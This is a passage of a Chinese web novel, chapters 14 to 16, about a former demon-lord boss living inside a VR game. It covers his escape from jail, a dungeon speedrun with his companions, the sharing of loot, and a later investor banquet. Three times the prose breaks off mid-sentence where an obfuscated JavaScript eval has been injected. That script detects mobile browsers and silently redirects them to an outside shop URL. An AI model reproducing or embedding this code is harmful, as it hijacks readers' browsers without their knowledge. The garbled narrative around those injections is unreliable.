“算你走运。”阿契恩抽回剑，挽了个剑花，转成正手位，收剑入鞘，“姑且先饶你一命。” 说完反手将那串钥匙甩在看守脸上。 看守抓着钥匙，后知后觉是被偷了，但怎么也想不通关在大牢里的人要怎么隔着几十米顺走钥匙。 他瞠目结舌地望着阿契恩，过了几秒才后知后觉想要阻拦。但刚起身，桌上的墨水瓶竟凭空倒了，重要文件和衣摆都染上了黑墨，让他不得不先忙着抢救。 就这样，阿契恩大摇大摆地走出了牢房大门。 阳光明媚得刺眼。 阿契恩不慌不忙地四下看了看，街上的玩家仍比他想象中少，一只手都数得过来。也正是因此，他一眼就注意到了站在不远处的蓝发圣职者，依旧是一身华丽的高等级装备。 万斯。 想到这家伙凭空出现在自己的好友列表、直到现在还无法删除，阿契恩皱了皱眉。 “他不在牢里？怎么可能？”万斯弯着腰，淡蓝色的长发柔顺披散在后背，他正通过低矮的小窗口，难以置信地反问坐里面的看守，“他明明才被关进去不久，不会有人比我先来交赎金。” 阿契恩观察了一会儿，很快意识到对方是在和另一位负责处理探视请求的看守商讨赎人事宜，糊涂的看守显然弄错了什么，与圣职者争论着。 他很快便自感无趣地打算离开。 刚迈开半个步子，他的身影便被万斯瞄到，由此被喊住。 “天呐，你是怎么出来的？”他快步走过来，同时环顾四周，像是松了口气般，“路易不在，他动作果然没这么快……是谁帮了你？” “越狱。”阿契恩云淡风轻道，“既然你早就认识我，应该猜得到才对，这种牢房可困不住我。” 余光处的地面上，有一小块突兀的影子，属于某只小蜥蜴。阿契恩故意没提及奥菲莉亚的存在。 “越狱？”万斯露出无法理解的表情，随后又释然地笑了，“好吧，如果是你，怎么样都不奇怪。” 装满金币的布袋还攥在万斯手里。 阿契恩抬了抬下巴，道：“我可没喊你来交赎金。以此作为投名状，未免也太看不起我了。” 万斯没解释，笑着问：“你说你没喊我，意思是喊了别人，对吗？” 阿契恩没想到这人如此机灵，冷笑了一声：“油腔滑调。” “他没来，不是吗？”万斯继续道，视线殷切地追随着阿契恩的眼睛，不动声色地拉近距离，“或许下次你可以先选择我。” 阿契恩用法杖抵着万斯胸口将他推远。 真是的，怎么一个两个都这样，难道不靠近就不会说话了吗？ “巧了，”他说，“不用下次，眼下就有需要你做的事。” 万斯闻言欣然道：“好啊，乐意效劳。” 话音未落，阿契恩弹去切磋申请，冷脸等待。 ——NPC不让砍，砍玩家总没问题。 万斯愣住，随后牵动嘴角勉强挤出一个难看的笑容：“我的职业是圣职者唉，跟我单挑未免有些……胜之不武吧？” 说完点了拒绝。 阿契恩才不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124860|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么胜之不武，难道四人小队对他进行正义围殴的时候就很光彩了吗？ 他耸了下肩，轻蔑道：“这么说的话，你似乎派不上什么用场。” 眼看勾搭失败，万斯视线下移，像是发现了什么般眼神一亮。 在阿契恩分辨出他具体看到了什么之前，万斯开口道：“你想找NPC们报仇，而我知道如何打破无法命中的机制。” 这倒是说到点子上了。 阿契恩表情有所缓和，眨了下眼，表示自己感兴趣、愿意花时间听一听，示意万斯具体说说。 未料万斯还没来得及说出半个字，某个大嗓门直接将两人的对话打断—— “万斯！果然是你！”路易迅捷的身影和声音几乎同时到达，仇人相见，分外眼红，“我是不会让他加入你的公会的！到处挖墙脚，吃相别太难看了我说！” 他伸手去拉阿契恩的胳膊，想把他扯到身后，但阿契恩却更眼疾手快，先一步抬手，让他抓了个空。 路易心里咯噔一下，立即开始反省是不是自己没第一时间赶过来，惹阿契恩生气了。 于是他前一秒还在对着万斯释放敌意，后一秒就开始思索怎么向阿契恩解释、获得原谅。 阿契恩倒是没那么小心眼，除去特定情景下耐心有限，绝大部分时间情绪都很稳定。 他看着路易平静道：“你来得正好。” “有什么事你尽管说，Boss已经打完了，我现在有的是时间。”路易保证，说着还警告似的瞪了万斯一眼。 万斯比路易淡定得多，完全没有插话的打算，仿佛一切尽在掌握。 是下本吗，还是一起过剧情？ 路易猜测着阿契恩的需求，无论哪个他都有理由带他离开，但愿万斯到时候不会像狗皮膏药似的粘着。 正想着，视线当中浮现出邀请切磋的弹窗—— 发起人：阿契恩。 “啊？” 路易呆愣着看向阿契恩，试图确认对方是认真的，没点错。 “这里人好少啊，不好找切磋的对象。”阿契恩对路易与万斯的针锋相对毫无察觉，或者也可以是不想理睬，只一心想着给自己增加生命值，“既然你有时间就陪我刷数值吧。” “额，可是……虽然……但是……”路易结结巴巴，费半天劲也没说出几个字。 他愿意帮阿契恩做任何事，但当沙包除外，特别是在万斯面前。 一旁的万斯毫不掩饰地笑出声，仿佛再说自己早就料到会是如此，嘲笑路易不够了解阿契恩。 路易没空管万斯，对着阿契恩苦口婆心地劝：“我带你下本，用赚来的金币买装备，比切磋涨得快多了。” “‘下本’是什么？” 显然，虽然已经不是第一次听路易说，阿契恩还是没弄懂这个词。 “我带你打一次你就知道了，到时候什么好装备都弄得到。”路易再一次去抓阿契恩的手，还好这次阿契恩没躲开，让他信心倍增，又是挑衅万斯，“走吧走吧，咱们不跟他玩。” 眼看路易要把阿契恩拽走，万斯没出手阻拦。 他微笑着看路易：“我是想让他加入白骑士团没错。如果你改变主意的话，我也随时欢迎。游戏还是要几个人一起玩才有意思。” “鬼才想。” 路易恨不得把阿契恩推着走，离万斯越远越好、越快越好。 “好吧。”万斯看向阿契恩，依旧是笑盈盈地对他说，“有问题想问的话欢迎随时发消息，我看到了就会回。” “没有人会给你发消息！”不等阿契恩开口，路易先一步抢着说，就和初见时那般暴躁咋呼，“等bug修复了一定第一时间把你给删了！” 万斯笑着摇了摇头，大概是懒得跟路易这种不成熟的暴脾气计较。 他的视线越过路易，落在阿契恩身上，像三伏天的空气般黏膩，其中包含的深意似乎远不止想要让阿契恩加入公会那么单纯。 阿契恩当然察觉到了其中异样，上位者不会允许任何人对自己产生夹杂着莫名欲望的觊觎，于是他报以没有任何情感的对视，冰冷又疏离，是拒绝更是警告。 “对了，你交了赎金，我们可不想欠你人情。”说着路易就要掏出金币转给万斯。 “不必。”阿契恩拦住路易，“我是越狱的，什么都不欠他。” 路易愣住，没反应过来阿契恩说的“越狱”具体是什么操作。 “走吧。”轮到阿契恩催促路易，刚学会的词用着不怎么熟练，“去……下本。” 14. 第14章 “咳咳，虽然你们之前已经见过了，但我还是来正式介绍一下……”路易清了清嗓子，对阿契恩一本正经道，“这位是我朋友，今天咱们仨一起打副本。” 即便是第二次目睹青蛙哥的旷世容颜，阿契恩无论心情还是脸色都无法保持平静。明明目睹过数不胜数的狰狞魔物，跟眼前这位比起来似乎都是小巫见大巫。 有这样一颗奇形怪状的头还不算完，身上的衣服偏偏也是凌乱的混搭——上身叠穿了许多层，最外面套了件热得要死的长款厚绒风衣，下身却是条不过膝的大短裤。 虽然早就知道吟游诗人大多放荡不羁，阿契恩也不是注重外表的人，但丑到这种程度的，还是难免让他浑身不舒服。 他凝视了对方许久，随后诚心发问，语气忍不住带着些怜悯：“你怎么会长成这个样子？” “是吧，无法上吊之物、上勾拳免疫者。”路易毫不掩饰自己的损友属性。 对此，青蛙哥振振有词：“有捏脸功能的游戏里最不缺的就是你们这种俊男美女，走在大街上看过去早就审美疲劳了，冷不丁冒出个我这样的，多惊艳不是？” “艳”不“艳”不知道，反正是挺“惊”的。 阿契恩这时才想起来去看对方的id，再次欲言又止—— 黄焖吉米饭。 “额，黄先生……？” 阿契恩皱起眉头，怎么称呼似乎都很奇怪，比起人名他更觉得这是某种古老又神秘的咒语。 “叫他吉米就行。”路易说着，向阿契恩发送组队邀请，“虽然这个副本上限4人，建议等级30，但咱们仨都不是普通人，一起打的话一定能顺利通关。” 只不过是处位于荒郊野岭的地下洞窟，阿契恩感受不到结界的气息，就这样洞口大敞，若真是有什么棘手的邪物，相邻的城镇不该相安无事。 所以他不以为然，甚至认为能独自单通。 不过转念一想，地下洞穴错综复杂，不小心走错路的话会浪费很多时间，看路易胸有成竹，是个带路的好人选。 于是阿契恩接受组队邀请，路易带头斗志昂扬地走进作为副本入口的洞穴。 [lv304人副本不瞑者之墓] [首通记录：万斯，劫，极光，五金建材王哥] [速通记录：万斯，劫，极光，五金建材王哥] [提示：当前等级过低，队内人数不足，挑战难度大，是否确认进入副本？] 阿契恩注意到两条记录都是由万斯带队创造的，虽然不太懂首通和速通具体含义，但既然能像刻碑般留下名字，便足以说明并非等闲之辈。 他若有所思地嘟囔：“那个叫万斯的……很厉害吗？” 路易不甘心被万斯抢风头，装出一副轻描淡写的样子说：“还好吧。内测时期的每个副本记录里也都有我名字来着，厉不厉害的，其实也就那么回事儿。” 吉米没惯着他：“谁问你了？” 路易踹了他一脚，随后对阿契恩继续道：“不用太有压力哈，咱们今天的目标只是通关而已。” 阿契恩一边按下确认键，一边刨根问底：“为什么现在记录里没有你的名字了？” 副本入口开启，三人进入洞穴。 路易回答说：“因为我是在公测开服后小半个月才重新开始玩的，以及……内测快结束的时候跟万斯吵了一架，绝交了。” 说完他故作轻松地耸了下肩。 吉米补充道：“还是我死缠烂打他才回游的。” 阿契恩又是问：“为什么？” 当然是因为阿契恩，那位尚且无人攻克的Boss被制作组草率地删除、成了废案，让路易一度失去躺进游戏舱的动力。 而退出白骑士团的决定也是因为两人对此事的看法产生了巨大分歧。 路易抓了抓头，苦笑道：“总之……唉，有点复杂。” 阿契恩讨厌复杂的事，见路易没有细说的打算，他便也就懒得问了。 其实能复杂到哪儿去呢？种种行为、种种理由，都能归到一人上罢了。 随着深入洞窟，空气中弥漫的水汽愈发浓重。岩壁和地面上附着着无数散发着幽蓝微光的蘑菇，成为这黑暗地下世界里唯一的光源。昏暗的光线照不出清晰的影子，三人脚下只有一团模糊的黑晕如影随形。 “这个副本里的怪是幽灵属性，对物理伤害有50%的减免，免疫嘲讽及除光明系外的控制技能，弱光弱火。”路易边走边将机制仔细介绍给阿契恩听，“我的战术是我冲在前面肉身引怪，你用传送辅助我，再找机会用火球术输出，吉米负责维持全员状态。” 大部分话都没进阿契恩的脑子，唯独中间的几个字引起了他的不满，反问道：“我辅助你？” “额……”路易赶紧调整措辞，“或者应该说配合我？” 阿契恩仍不满意，他要的是绝对的主动权。他没有做出回应，唯在眼里显示出不服，然后默默使用血祭技能将左手背划开放血。 “前面就要遇怪了。”路易来到洞道转角处，“先是左边……” 话音未落，左侧洞道半空飞来一只保持着模糊人形的幽灵，手执弯刀，眼眶处是燃烧着幽火的空洞。 路易已然立剑做好了应战准备，但比他更快的是阿契恩的火球，另一颗以一种刁钻的角塑飞向右侧洞道，命中视野之外、还未露头的幽灵。 路易感到意外，一边挥剑一边问阿契恩：“你也提前背板了？” 虽然这么问，他细想便知道不可能——一个连副本都不知道是什么的人又怎么会提前查攻略呢？ 第一只幽灵很快死于灼烧伤害，触发刷怪机制。 路易再度提醒：“小心后面！” 阿契恩显然不是根据路易的提醒展开行动，他的动作与路易的话同时，甚至更快一瞬。 只见阿契恩凌厉转身，将最后一颗火球冲着幽灵招呼了上去，剑锋紧接着刺破烈焰，向上一挑，将虚影的头劈成两半。 他预见到幽灵并不会因此丧失行动力，顺势一横，用剑刃弹反开对方的砍刀。 也就只有这些靠着怨念驱动、无差别攻击闯入者的低等怨灵才敢从背后偷袭魔王。 行云流水的连招看得吉米眼前一亮又一亮，振奋道：“你找的人可以啊！” “千万别给他补血，”路易道，“保持他蓝量充足就行。” “明白。” 说着，吉米拨动琴弦，那柄还算精致的竖琴随即发出一阵不和谐的音阶，听得阿契恩像是身上通电，背后肌肉都一阵痉挛。 不过当一些泛着淡蓝色光泽的音符自弦旁出现，飘向阿契恩，他顿时觉得身体轻快，有所消耗的蓝条随之补满。 随时随地补蓝吗？ 但代价未免太大了。 阿契恩补刀干掉幽灵，揉着胳膊上未褪的鸡皮疙瘩，向吉米投去复杂的眼神：“还是等我没蓝了再弹你那个琴吧。” 幽灵消散，它身上的装备也从悬空状态纷纷落地。 阿契恩无视正在跟其它幽灵缠斗的路易，捡起幽灵掉落的武器。那是一把锈迹斑斑、刀刃遍布豁口的旧刀。 【破损的狂战刀】一把严重损坏的刀，无法继续使用，即便当作废铁卖也毫无价值。你觉得似曾相识，似乎在新手村的武器铺中见过类似的款式。 以阿契恩的记忆力，他完全不觉得似曾相识。 “阿契恩！别挂机了快帮帮我！” 到底是跨级打副本，即便是背了板，路易也难以一敌多。 阿契恩施舍般地挥出火球，帮路易暂时解围，然后问：“为什么会掉落这种完全无用的东西？你不是说这里的收益会很高吗？” “啊？”路易百忙之中抽空回头看了一眼，只见阿契恩举着那把破刀，除了他以外怕是根本不会有人对这种一看便知的破烂儿感兴趣，“那根本不是副本掉落奖励啊，收益要到通关的时候才会结算的。” “那这些是什么？还都写着莫名其妙的描述。” 阿契恩放下刀，又捡起护腕。道具描述中依旧提及似曾相识。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124861|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我求你了，求求你，别管那些破铜烂铁了好不好？我真的快被幽灵砍死了！” 吉米作为吟游诗人，技能兼顾攻击和辅助，治疗量跟圣职者比不了，加上路易是个走迅捷流的剑士，作前排、扛起伤来非常吃力。 而吉米每次加血，都会弹奏出这个世界上最刺耳的旋律。阿契恩实在忍无可忍，终于放弃执着于探究击败幽灵所掉落的破烂，重新拿起剑。 他发动传送技能，和路易交换位置，冷声道：“我非得见识一下，这些衣架子到底有多难对付。” 火光照亮昏暗洞道，随着数只幽灵被轰开、一身破铜烂铁叮叮咣咣地四散滚开，一间偌大的洞室呈现在三人面前。 自然形成的石梯盘旋而下，借着泛光菌类的映照，得以向下窥视至底。那是一处还算宽阔的空间，地面出奇地平坦，有着怪异的反光感，观察得久一些才会发现所谓的“地面”其实是一大片不知深浅的积水。 没有让他们欣赏风景的时间，路易赶紧汇报接下去的刷怪机制：“后面会出精英怪，是会使用法术的幽灵，除了物抗以外还附带一定法抗……” 路易滔滔不绝，阿契恩已然走神。 他顺着石梯扫视，看到原本散落在地的装备陆续浮空、无数幽灵如雨后春笋般现身。料想得到他们一队人马要斩杀沿途所有幽灵，直达洞底，实在是个磨人的苦差事。 “咱们最后是要到下面去吗？”阿契恩歪头躲开幽灵魔法使的鬼火攻击，连呼吸都没有乱，问路易，“那里有什么？” “下面是Boss房了，打败幽灵伯爵即可通关。” 通关就能收获经验值、金币、已经装备了。 阿契恩决定跳过步骤，直奔结果。 “给我补满蓝。” 他耐着性子，最后一次听完那阵难听的曲调，走到石阶边缘。 “你要干什么？”路易刚问出口，便从阿契恩俯视洞室底部的动作猜到其目的，急忙阻拦，“不不不，你别这样。就算你控制好距离没摔死我们也没法及时赶到，无论如何你一个人挑战Boss都很冒险，你要是死了那我俩也——” 他的话毫不意外地被再次当成耳旁风，只见阿契恩朝前迈了优雅的一步，随后以从容不迫的姿态开始坠落。 狂风让他额前脑后的发丝凌乱翻飞，但他眼睛却是一眨不眨，仿佛没有体验到令人心跳加速的失重感，神色是一如既往地冷淡默然。 阿契恩在最合适的时间展开传送阵，缩短了一部分坠落距离。 在高处的路易来看，他的身影就像坠落深坛的一粒石子，平静的睡眠随着他的降临掀起完美漂亮的圆形涟漪。 路易的心脏吊到了嗓子眼，见阿契恩血条还有微小的一段后也没松气，扯着嗓子喊：“别害怕！坚持住！我们很快就去支援你！” 然而他和吉米的血量都比阿契恩少，只能顺着石梯一路杀下去，就连能不能活着到达Boss房门口都是个问题。坠落产生的致死量伤害，也是在此之前没有任何玩家用这种方式进入Boss房的原因。 吉米摆烂了，吐槽道：“与其咱俩挑战杀穿这么多幽灵，不如你试试跳下去他会不会愿意用传送接住你，我觉得后者概率比较大。” 身处洞底的阿契恩听到路易的喊声翻了个白眼，可惜对方看不到。 水面位及小腿，冰冷刺骨。 水波惊动了水中某些会发光的浮游生物，蓝色的微光随着涟漪朝四周漾开，照亮洞底的同时宣告着Boss战的开启。 “他们杀了我，割掉我的眼皮，将我丢弃在此，我死不瞑目。”伴随着Boss的登场台词，地面开始震动，“你也是异教徒的一份子吗？我会让你付出代价。” 幽灵伯爵低吼般的声音令人内脏与之共鸣。但论压迫感，此时此刻站在涟漪正中，周身被残血凶光笼罩的阿契恩，几乎让人分不清谁才是Boss。 …… 【全服通报：副本不暝者之墓速通记录刷新】 【通关队伍：路易，吉米，阿契恩】 15. 第15章 陈旧褪色的华服之下，半透明的魂灵正在逐渐消散。 幽灵伯爵用他空洞的双眼望向阿契恩，忽然沙哑地笑了：“看来是我认错了，你并非邪教徒，而是和外面那些怨灵一样……不，你比他们强得多，如果是你的话，或许真的有机会改变……” 阿契恩双臂交叉环抱在胸前，冷声道：“我劝你把话说清楚，我可没兴趣跟你在这里猜谜语。” 他不知道这是Boss战败语音，无论如何追问对方都不会再有更多台词。 副本Boss被消灭，沿途小怪自然全部消失，路易和吉米很快赶到。 即便对阿契恩的实力有所预见，但当真的看到他抗下坠落伤害的同时单通Boss后，路易还是激动得赞不绝口。 “真不敢相信你做到了！单通！天呐！咱们现在还刷新了速通记录！” 路易跑到阿契恩身边，试图抓着他的手一同庆祝，虽然被他嫌弃地扇去了一边，但情绪依旧高涨，用高分贝的嗓门继续嚷嚷：“现在万斯脸一定气绿了，哈哈哈！他肯定找不出第二个能用这种方式通关的人了！” 没有参加内测的吉米还是第一次出现在副本通关记录上，此时也很是兴奋：“可惜现在超过新手村副本等级上限了，不然说不定也能去刷个速通记录。” 阿契恩lv18，路易lv27，吉米lv25，新手村副本等级是10，挑战上限是lv20，三人里只有阿契恩还有资格进本，也是真有可能刷新记录。 只可惜阿契恩对此没兴趣。 路易想起了什么，一拍脑门，对阿契恩懊恼道：“哎呀早知道该让你当队长的，这下你的名字反而跑到最后去了。” 阿契恩根本不在乎什么记录不记录的，身为魔王早就不需要用这种微不足道的名号涨存在感。 他一心想要通关的最终目的有且只有通关奖励。 幽灵伯爵消散的地方出现了一个宝箱，阿契恩走过去，摘掉锁头后用脚踹开沉重的箱盖，随后顺势踩在箱沿，手肘撑在腿上，俯身向下看。 随着宝箱开启，内部散发出明媚柔和的光。 金币和经验值自动分配，而道具奖励则由给予最后一击的Boss击杀者分配——对造成Boss百分百伤害的阿契恩更是毫无疑问地成为道具奖励的拥有者。 他拿出一把造型贵气的长剑。 【名剑·赫尔墨斯】伯爵家族的传家宝，伯爵死后这把剑也不翼而飞，传言说它认主，你是否有征服它的能力？ 物理伤害+200 主动技能：0.5秒内触发100%闪避效果，免疫控制。 被动技能：成功闪避后强化下一次攻击，将普通攻击或技能变为三连击。 看完武器描述阿契恩就认为这把剑另有合适人选，扭过头去，果然看到路易眼里的崇拜都快溢出来了：“竟然是掉率只有5%的高级武器！好兄弟，我这辈子没求过人……” 刚刚快被怪打死的时候分明求个不停。 阿契恩饶有兴致地挑了下眉，当下起了要逗弄路易的心思，也不说话，只把剑拿得远了些，观察他的反应。 “哦不……”随着剑的远离，路易下意识伸手，但又没争着去和阿契恩抢，很快把手收了回来，可怜巴巴地望着他，双手平摊，手心朝上，“送给我好不好？你看我跑这么快，多称这把剑。” 阿契恩脑袋一偏，将侧脸对向路易：“你刚刚叫我什么？” “啊？”路易把自己刚才说的话都回想了一遍，“好兄……不对，是魔王大人。” 到此，阿契恩对路易的表现终于算得上满意。 “这把剑太沉，我拿不动。”他把剑放到路易手里，剑身和剑鞘发出清脆碰撞声，“所以没人跟你抢，拿着吧。” “我愿意永远追随你！” 路易攥着剑，用热烈的眼神反复擦拭剑身，在看到武器数值和技能之后更是喜欢得不得了，欣喜溢出眼眶。 情绪上头，他一把抓住阿契恩的肩膀，速度之快对方都没反应过来，然后结结实实朝他脸上亲了一口。 顿时，阿契恩那张常年波澜不惊的脸上露出了比第一次见吉米时还要惊骇的表情。 他本能地想拔剑砍路易一刀，但那小子偏偏跑得飞快，一溜烟闪到了不远处，抱着剑又是一顿亲，模样恰似得了心爱骨头的狗。 阿契恩只得黑着脸，用手背用力蹭过被亲的脸颊，确保脸上没留下路易的口水。 吉米嫌弃地看向抱着剑、如愿以偿的路易：“你看起来像在给别人当狗。” 路易反怼：“你懂什么？他喜欢狗我有什么办法？” 第二件装备是一套佩戴在拇指、食指和中指上的护甲。 【妙律】伯爵家最后一任住邸乐师的遗物，护甲质地坚硬、边缘锋利，很难说其佩戴者身份是否只是单纯的乐师。 物理防御+20 被动技能：每次释放技能为一定范围内友方单位施加自身生命值1%的护盾。 无论是装备外形还是名称，都像是以乐器作为武器的吟游诗人的专属装备，但这个游戏最突出的特点就是自由，阿契恩自己也能用。 阿契恩快速思索了一番，认为护甲的被动技能和自己并不搭，于是不打算留下。 吉米迟疑着，指指路易，再指指自己，意思是问阿契恩自己是否也要当狗。 阿契恩觉得，不是所有人适合当狗。并且如果再来个人冲他脸上来一口，他真的会杀人。 “我更希望能有个让你弹出来的曲调变得动听的装备。” 说完，阿契恩没多为难，将护甲分配给了吉米。 吉米喜笑颜开，见阿契恩这会儿蓝条空了，便想作为报答地帮他补上，结果被阿契恩以不想再听琴音为由严肃阻止。 最后一件装备是枚戒指。 【不暝者之怒】伯爵随身佩戴的戒指，随他的尸身一起失落于洞窟之中，继承了他死不瞑目的怨念。 法术伤害+100 被动技能：血量低于5%时触发，使技能效果（包括伤害、范围以及其它特殊机制）翻倍。 毫无疑问，这枚戒指的属性再适合阿契恩不过。 他现在十指空空，选择很多。但拿到戒指的那一刹那，他就本能地抬起左手无名指，直到套进一个指节才感到不对劲，皱了下眉头。 忽然停顿的动作引起路易的注意，他很快看出缘由，没心没肺地调侃道：“游戏嘛，不用在意佩戴部位的含义啦，以后戒指多十个手指都不一定带得过来呢。” 阿契恩没吭声，还是将戒指换到了拇指上戴。本就是宽版戒指所以并不会违和，虽然稍微有点紧，但也不至于卡死。 通关奖励分配完毕，三人自动被传送离开副本。 路易想起副本记录刷新有全服通报，便打开论坛，看看其它玩家怎么评价。 速通常有，但三人刷新四人副本速通记录的可能性极低，更何况还是低于副本建议等级挑战。 ：那个阿契恩就是之前的切磋狂魔？没想到这超标数值怪又跑去嚯嚯副本了。 ：三人速通，不到5分钟，乖乖，原纪录时长的四分之一都不到，卡bug了这是？直接卡进Boss房打决战都没这么快吧？ ：他们不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124862|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能在加一个人组队打，等级也还都很低，看来通关速度还没到极限，还能凹。 ：白骑士团那边怎么说？没记错的话他们公会自内测起就垄断所有副本的首通和速通记录了。 ：原纪录的四人都超等级了，想要刷回来也只能另找人咯。 ：格局打开。只要万斯把那仨人都招进白骑士团，问题不就解决了嘛？ ：楼上天才。 ：有没有白骑士团的人出来现身说法一下？ …… 对路易来说，刷新记录最振奋的点是可以用来气万斯。内测时他在白骑士团待过，知道万斯励志搞断层第一的公会，对副本记录的归属无比看重。 可惜在论坛翻了半天也没见到万斯跳脚——想来也是，堂堂第一公会首领自然不会做这种掉价的事。路易不过瘾，干脆点开了和万斯许多未读不回的私信窗口。他无视上面的所有消息，发了个鬼脸表情，贱嗖嗖地挑衅。 路易心满意足地关掉对话框，抬头对阿契恩汇报说：“我得下线了，晚上有事要出门，需要提前准备一下。我其实一点也不想去，但是……唉，明天见。” 阿契恩冷淡地“嗯”了一声。 路易觉得万斯这会儿大概才看到鬼脸正在整理措辞回击挑衅吧，可惜他要下线了，犯完贱就跑真刺激。 吉米也去忙自己的事。 阿契恩准备回镇子上找人切磋，还没走到镇门口便又看见了那抹熟悉的淡蓝色身影。 万斯一看到阿契恩便露出了他标志性微笑，想来是一直在等他。 “你很闲吗？” 不同于嘲讽，阿契恩说这话的时候一直保持真诚对视，似乎是真想得到答案，但最后呈现出来的效果却是加倍刻薄。 万斯依旧是好脾气地笑：“为你付出再多时间都是值得的。你愿意告诉我是你怎么刷新的速通记录吗？” 不在意自然就不会当成宝贝似的藏着掖着，阿契恩大大方方又简短地说：“直接跳下去打那个贵族幽灵。” 万斯的笑容变得苦涩：“你是说在承受了坠落伤后还有额外血量对战Boss吗？其实你不想说也可以的，没必要费心编故事骗我。” 阿契恩对万斯上下打量，随后展现出他有意毒舌时的真正水平：“你看起来比路易年长些，怎么脑子还和他一样不灵光？” 这下万斯表情僵住，标志性笑容短暂地消失，吃瘪吃得很明显。 “啊哈哈……”他强颜欢笑，“看来目前整个公会都很难找到能复刻你通关打法的人了。我们做个交易怎么样？我告诉镇民NPC百分百触发未命中效果的机制，你加入白骑士团。” 阿契恩冷漠垂眼，出言不逊：“想来是我落魄了，现在都有人敢拿这种不入流的小帮派侮辱我。” 堂堂全服断层第一的公会，在他嘴里竟成了“不入流的小帮派”。 万斯的脾气好得吓人，不然高低得跟阿契恩打起来——当然，要真是怎么做了，最后的结局恐怕和新手村的那个公会不会差太多，也难说他是情绪稳定还是识时务。 万斯叹了口气，露出无可奈何地笑，眼里还带着些复杂的情绪：“我都快忘了你就是这样的人，对此我除了包容也没别的办法，不是吗？” “别说神经话。” “去教堂看看吧，会触发一条支线。这是个人情，但你不还也行。” 阿契恩见万斯说完便打算离开，意外道：“就这样？我本以为你会像苍耳一样继续缠着我，说些有的没的。” “我想，但我得走了，”万斯挥手道别，“今晚有个很重要的宴会，得花时间准备一番。” 16. 第16章 “下车后别闷闷不乐的，像别人欠你钱似的，摆着你那死出给谁看？” 路易反手就把通讯器的摄像头给关了。他向下出溜了一段，半躺在座位上，剪裁精良的名贵西装衣摆被他弄皱、压在身下，却毫不在意，加长轿车的空间完全够他伸开腿。 “你不爱看就别看。”他毫不客气地回怼，“明明是投资人宴会，你不来让我来干嘛？” “让你出来见世面，正好不是什么正式的晚宴。你去吃个饭，聊聊天，多认识些人。再说你之前不是和祝梵——你梵大哥，关系挺好的吗？正好那游戏你也爱玩。” “人是会变的，现在关系不好了。游戏我是爱玩，那帮老登爱玩吗？我跟他们聊什么？他们懂什么？”路易打断道，“行了别说了，我保证不给你丢脸就完了。” 巨大的枝形水晶吊灯如同凝固了的钻石瀑布，成千上万枚切割精准的剔透棱镜将灯光反复折射、碎裂、重组，洒下令人目眩神迷、毫无温度的光雨。灯光像融化的金子，奢华地镀在大厅的每个人、每一物上。 几位一看就是长辈的投资人正站在最亮的光斑下谈笑风生。 路易深吸了一口气，腰杆挺直了些。他身形修长，是年轻人特有的清瘦骨架。高定西装妥帖地包裹，衬出挺括的肩线，又不过分强调力量，反而微妙地勾勒出一种略显单薄、矜贵的轮廓。 他将嘴角扬起一个弧度精准的假笑，完美但刻意。头发早已精心打理成了大人的模样，但仍有几缕不驯服的、过于柔软的发丝，微微脱离了发胶的掌控，垂在光洁的额头前。 对内路易有自己的小少爷脾气，但在外，他是一张合格的家族名片。 路易取了杯香槟，然后朝那几位投资人走去。他想象着自己将要得体地点头，适时地举杯，偶尔吐出几个预先准备好的、恭谨又不过分热情的词汇……直到一个他最不想见到的身影闯入视野，将节奏打乱。 “小陆总，好久不见。” 这是一场投资人晚宴，而宴会的主请人便是祝梵——当前现象级全息游戏所属公司的CEO。 祝梵站在几步远外，穿着一身暗纹西服，领口别着个淡蓝色胸针。时光似乎格外优待这位年轻的CEO，只给他眉眼间添了几分更深沉的锐利，而此刻那份锐利正被一种近乎温和的笑意包裹着。 祝梵举了举杯，那是一杯几乎未动的香槟，气泡细密地上升，然后在杯口无声破碎。 随后听得他对路易道：“你爸说想锻炼锻炼你，我知道你不喜欢太正式的场合，于是特地在自家别墅办了这场晚宴，你就把这儿当自己家，不用太拘谨。” 路易感到自己的假笑面具出现第一道裂痕。他强行维持着它，甚至让嘴角的弧度再上扬两分，眼神却不受控制地冷了下去。 “祝总费心了。”他听见自己的声音，平稳，礼貌，疏远得像在念一份商业企划书的标题，“祝总的项目前途无量，家父和各位前辈都很看好。我能来学习，是荣幸。” 另外几位投资人这时也注意到了他，跟他打起招呼，让他过去坐。 路易礼貌回应，顺从地迈开步子，却刚走出半步就被祝梵叫下。 祝梵对几位投资人说：“陆总特地交代了我，让我关照好他儿子，各位老总看在我的面子上就别欺负他了呗。” 几位前辈笑起来，是那种听上去就很富有的笑声，相较之下路易精心维持的体面显得稚嫩极了，也让他心里起了一股无名火。 祝梵顺理成章地把路易带到一边。 仗着没别人看见，路易也不装了，脸垮下来：“你找我干嘛？” 